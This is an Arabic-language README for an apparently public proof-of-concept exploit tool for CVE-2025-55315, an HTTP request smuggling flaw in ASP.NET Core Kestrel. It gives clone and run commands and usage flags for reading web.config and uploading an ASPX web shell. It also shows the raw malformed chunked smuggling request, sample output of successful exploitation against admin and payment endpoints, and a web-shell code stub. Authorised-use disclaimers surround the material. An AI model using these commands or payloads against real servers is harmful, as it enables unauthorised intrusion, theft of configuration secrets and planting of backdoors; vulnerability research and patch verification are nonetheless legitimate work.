
CVE-2025-55315 PoC Exploit
أداة استغلال تهريب طلبات HTTP لـ ASP.NET Core Kestrel
هذه الأداة مخصصة لاختبارات الأمان المصرح بها فقط!
أداة اختبار اختراق احترافية لـ CVE-2025-55315 (ثغرة تهريب طلبات HTTP في خادم ASP.NET Core Kestrel). صُممت هذه الأداة لتحليل هدف واحد مع إمكانيات استغلال شاملة.
ثغرة حرجة لتهريب طلبات HTTP في خادم الويب ASP.NET Core Kestrel (CVSS 9.9/10) تسمح للمهاجمين بـ:
الإصدارات المتأثرة:
# Python 3.7 أو أعلى
python3 --version
# لا تبعيات خارجية - يستخدم المكتبة القياسية فقط
# استنساخ أو تحميل الأداة
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# جعلها قابلة للتنفيذ
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
سيؤدي هذا إلى:
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
السيناريو: التحقق مما إذا كان خادم الإنتاج معرضاً للثغرة
python3 cve_2025_55315_PoC.py -t api.mycompany.com
المدة المتوقعة: 30-60 ثانية
السيناريو: فحص شامل للنقاط النهائية مع مخرجات مطولة
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
المدة المتوقعة: 2-5 دقائق
السيناريو: اختبار نقاط نهاية حرجة محددة
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
السيناريو: اختبار خادم HTTP داخلي
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
وسائط إلزامية:
-t, --target اسم المضيف الهدف أو URL (مثال: target.com)
وسائط اختيارية:
-p, --port رقم المنفذ (الافتراضي: 443 لـ SSL، 80 لغير SSL)
-e, --endpoint نقطة نهاية محددة لاختبارها (يمكن استخدامها عدة مرات)
--no-ssl تعطيل SSL/HTTPS (استخدام HTTP)
--read-config محاولة قراءة ملف web.config
--upload-shell محاولة تحميل أوامر الويب (يتطلب تأكيداً)
-o, --output حفظ التقرير في ملف
-v, --verbose تمكين المخرجات المطولة
--timeout مهلة المقبس بالثواني (الافتراضي: 10)
-h, --help عرض رسالة المساعدة
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- معلومات الخادم ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- النقاط النهائية المعرضة (2) ---
✗ /api/login
التفاصيل: نجاح تهريب الطلبات - استجابات متعددة
✗ /api/health
التفاصيل: نجاح تهريب الطلبات - استجابات متعددة
--- الاستغلالات الناجحة ---
✓ web.config_read عبر /api/login
التفسير:
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- معلومات الخادم ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ نقطة النهاية ليست معرضة (400 Bad Request)
✓ لم يتم العثور على نقاط نهاية معرضة - ربما تم تصحيح الهدف
التفسير:
قبل تشغيل هذه الأداة، تأكد من:
تستغل الأداة CVE-2025-55315 باستخدام ترميز نقل مجزأ (chunked) غير صالح:
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← الثغرة: \n منفرد بدلاً من \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← يصبح هذا طلباً منفصلاً
Host: target.com
لماذا يعمل هذا:
\n كمحدد سطر → يعالج كطلب واحد\n → يعامل الطلب المهرب كطلب منفصل| استجابة الخادم | التفسير | الحالة |
|---|---|---|
400 Bad Request | رفض Kestrel للكتلة غير الصالحة | ✅ آمن (مصحح) |
استجابات HTTP/1.1 متعددة | تلقي استجابتين منفصلتين | ❌ معرض |
500 أو 502 | خطأ خادم داخلي | ⚠️ يحتمل أن يكون معرضاً |
200 OK عادي | تم قبول الطلب | ⚠️ غير حاسم |
[ERROR] Connection failed: [Errno 111] Connection refused
الحلول:
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
الحل: الأداة تقوم بالفعل بتعطيل التحقق من الشهادة. إذا استمرت المشكلة:
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
الحلول:
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
التفسير:
هذا أمر طبيعي - ليست كل الأنظمة المعرضة تسمح بتحميل الملفات.
نشرة أمان مايكروسوفت: https://github.com/dotnet/aspnetcore/issues/64033
قاعدة بيانات NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
بحث Praetorian (مكافأة 10 آلاف دولار): https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
التحليل الفني لأندرو لوك: https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
قم بتعديل COMMON_ENDPOINTS في السكريبت:
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# أضف نقاط النهاية هنا
]
قم بتعديل طريقة upload_webshell():
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- أوامر ويب ASPX مخصصة هنا -->
'''
إذا وجدت أخطاء أو لديك اقتراحات:
-v-o debug.txtهذه الأداة متوفرة "كما هي" لأغراض تعليمية واختبارات الأمان المصرح بها فقط.
المؤلف (المؤلفون):
❌ لا يؤيدون الأنشطة غير القانونية
❌ ليسوا مسؤولين عن سوء الاستخدام
❌ ليسوا مسؤولين عن أي أضرار
❌ لا يقدمون استشارات قانونية
باستخدام هذه الأداة توافق:
✅ على الاستخدام فقط على الأنظمة المصرح بها
✅ على تحمل المسؤولية القانونية الكاملة
✅ على الامتثال لجميع القوانين المعمول بها
✅ على اتباع مبادئ الاختراق الأخلاقي
الاستخدام غير المصرح به ممنوع تماماً وغير قانوني!
تم إنشاء هذه الأداة من أجل:
ليست من أجل:
للاستخدام التعليمي واختبارات الأمان المصرح بها فقط
هذه الأداة متوفرة للأغراض التعليمية واختبارات الأمان المصرح بها. الاستخدام التجاري أو إعادة التوزيع أو الاستخدام لأغراض ضارة محظور تماماً.
╔═════════════════════════════════════════════════════════════╗
║ ║
║ استخدم هذه الأداة بمسؤولية وقانونية! ║
║ ║
║ الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة. ║
║ احصل دائماً على إذن كتابي قبل الاختبار. ║
║ اتبع ممارسات الإفصاح المسؤول. ║
║ ║
║ اختراق سعيد (وقانوني)! ║
║ ║
╚═════════════════════════════════════════════════════════════╝